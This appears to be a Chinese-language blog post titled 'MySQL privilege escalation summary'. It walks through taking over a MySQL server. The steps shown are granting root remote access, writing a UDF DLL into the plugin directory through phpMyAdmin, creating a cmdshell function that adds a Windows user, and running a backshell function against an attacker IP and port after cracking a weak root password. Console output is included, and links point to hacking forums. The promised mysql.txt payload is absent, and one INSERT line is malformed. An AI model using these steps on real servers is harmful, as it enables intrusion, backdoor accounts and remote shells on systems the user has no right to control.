Mysql提权总结-阿里云开发者社区

开发者社区> 数据库> 正文

Mysql提权总结

简介: mysql默认状态下是不开放对外访问功能的 1、如何设置才能允许外网访问MySQL 使用“mysql -uroot -proot”命令可以连接到本地的mysql服务; 使用“use mysql”命令,选择要使用的数据库,修改远程连接的基本信息,保存在mysql数据库中,因此使用mysql数据库; 使用“GRANT ALL PRIVILEGES ON *.

mysql默认状态下是不开放对外访问功能的

1、如何设置才能允许外网访问MySQL

使用“mysql -uroot -proot”命令可以连接到本地的mysql服务;

使用“use mysql”命令,选择要使用的数据库,修改远程连接的基本信息,保存在mysql数据库中,因此使用mysql数据库;

使用“GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;”命令可以更改远程连接的设置;

使用“flush privileges;”命令刷新刚才修改的权限,使其生效;

使用“select host,user from user;”查看修改是否成功

2、phpmyadmin 连入提权

select @@basedir;  //Mysql安装目录

C:/phpStudy/MySQL/

CREATE TABLE udftest(udf BLOB);

INSERT into udftest values (CONVERT(,CHAR));CONVERT(这里换成你的UDF的HEX编码,CHAR));

SELECT udf FROM udftest INTO DUMPFILE 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';-- 

select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; 

DROP TABLE udftest;

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user xiaozi xiaozi /add');

参考链接: phpmyadmin直接提权 http://www.hack80.com/forum.php?mod=viewthread&tid=1304

             通过phpmyadmin各种技巧拿webshell  https://www.exehack.net/99.html

 

3、mysql弱口令(反弹端口连接提权)

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

实验环境:phpStudy 默认安装的mysql数据库 5.5.40版本

C:\APMServ5\APMServ5.2.6\MySQL5.1\bin>mysql.exe -h 192.168.106.141 -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 5.5.40 MySQL Community Server (GPL)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> \. c:\mysql.txt
Database changed
Query OK, 0 rows affected (0.02 sec)

Query OK, 0 rows affected (0.06 sec)

Query OK, 1 row affected (0.01 sec)

Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

Query OK, 1 row affected (0.00 sec)

Query OK, 0 rows affected (0.09 sec)

+-------------------------------------------------------+
| backshell('')                                         |
+-------------------------------------------------------+
| 反弹shell.
例:select backshell("your IP",your port); |
+-------------------------------------------------------+
1 row in set (0.00 sec)


mysql> select backshell("192.168.106.137",2010);
+-----------------------------------+
| backshell("192.168.106.137",2010) |
+-----------------------------------+
| 执行成功
                        |
+-----------------------------------+
1 row in set (0.02 sec)


mysql> select backshell("192.168.106.137",2010);
+-----------------------------------------+
| backshell("192.168.106.137",2010)       |
+-----------------------------------------+
| 创建临时文件出错,backshell无法继续运行. |
+-----------------------------------------+
1 row in set (0.02 sec)

mysql> select @@version
    -> ;
+-----------+
| @@version |
+-----------+
| 5.5.40    |
+-----------+
1 row in set (0.00 sec)

mysql>

 

mysql.txt:

复制以上内容保存为mysql.txt即可。

 

 

 

参考文章:

mysql利用ntfs的ADS创建文件夹  http://blog.csdn.net/yiyefangzhou24/article/details/17190135

MYSQL提权总结   http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390

 

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
数据库
使用钉钉扫一扫加入圈子
+ 订阅

分享数据库前沿,解构实战干货,推动数据库技术变革

其他文章